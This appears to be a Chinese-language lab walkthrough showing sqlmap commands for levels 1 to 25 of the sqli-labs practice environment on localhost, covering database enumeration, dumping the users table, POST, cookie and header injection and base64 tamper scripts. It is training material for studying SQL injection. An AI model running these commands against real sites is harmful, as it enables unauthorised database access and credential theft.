注意点:
-
sqlmap 需要 python 的环境,并配置环境变量
-
在实际检测过程中,sqlmap 会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数
--batch命令来自动答复和判断 -
用 sqlmap 工具注入完毕后,C 盘 AppData 文件夹下会有缓存文件夹,不删掉的话会影响 SQL 注入结果
C:\Users\20846\AppData\Local\sqlmap\output,也可用sqlmap.py --purge来清空缓存
Less-1
1 | python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --batch --banner |
1 | # 查看数据库 |
爆出数据库名

1 | # sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表 |
查询 security 数据库中的所有表

1 | # sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns //查询指定库中指定表的所有列(字段) |
查看 security 数据库下的 users 表里都有哪些字段

1 | # sqlmap -u -D security -T users -C id,password,username --dump |
查看列字段的具体值

因此,只要能找到注入点和数据库,就算上成功了
Less-2
以下操作都是基于 Less-1 的步骤,如法炮制而来
1 | sqlmap -u http://localhost/sqli-labs/Less-2/?id=1 --batch --dbs |
找到数据库

Less-3
1 | sqlmap -u http://localhost/sqli-labs/Less-3/?id=1 --batch --dbs |

Less-4
1 | sqlmap -u http://localhost/sqli-labs/Less-4/?id=1 --batch --dbs |

Less-5
1 | sqlmap -u http://localhost/sqli-labs/Less-5/?id=1 --batch --dbs |

Less-6
1 | sqlmap -u http://localhost/sqli-labs/Less-6/?id=1 --batch --dbs |

Less-7
1 | sqlmap -u http://localhost/sqli-labs/Less-7/?id=1 --batch --dbs |

Less-8
1 | sqlmap -u http://localhost/sqli-labs/Less-8/?id=1 --batch --dbs |

Less-9
1 | sqlmap -u http://localhost/sqli-labs/Less-9/?id=1 --batch --dbs |

Less-10
1 | sqlmap -u http://localhost/sqli-labs/Less-10/?id=1 -level=2 --batch --dbs |

Less-11
1 | sqlmap -u http://localhost/sqli-labs/Less-11/index.php --batch --data "uname=admin&passwd=admin&submit=Submit" --dbs |

Less-12
1 | sqlmap -u http://localhost/sqli-labs/Less-12/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs |

Less-13
1 | sqlmap -u http://localhost/sqli-labs/Less-13/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs |

Less-14
1 | sqlmap -u http://localhost/sqli-labs/Less-14/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs |

Less-15
1 | sqlmap -u http://localhost/sqli-labs/Less-15/index.php --data "uname=admin&passwd=admin&submit=Submit" --dbs --batch |
以下略去
Less-16
1 | sqlmap -u http://localhost/sqli-labs/Less-16/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs --level=2 |
Less-17
1 | sqlmap -u http://localhost/sqli-labs/Less-17/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs |
Less-18
1 | # 注入的位置在 User-Agent 中 |
Less-19
1 | # 注入的位置在 Referer 中 |
Less-20
1 | # 注入的位置在 cookie 中 |

Less-21
1 | # 注入的位置依旧在 cookie 中,但经过了 base64 加密的,用 sqlmap 来进行联合查询注入 |
1 | sqlmap -u http://localhost/sqli-labs/Less-21/index.php --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U --dbs --batch -v 3 |

Less-22
1 | sqlmap -u http://localhost/sqli-labs/Less-22/index.php --cookie="uname=*" --dbs --tamper "base64encode.py" --batch |

Less-23
1 | sqlmap -u http://localhost/sqli-labs/Less-23/?id=1 --dbs --batch |

Less-24
1 | # 这关是二次注入,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。 |
Less-25
1 | sqlmap -u http://localhost/sqli-labs/Less-25/?id=1 --dbs --batch |
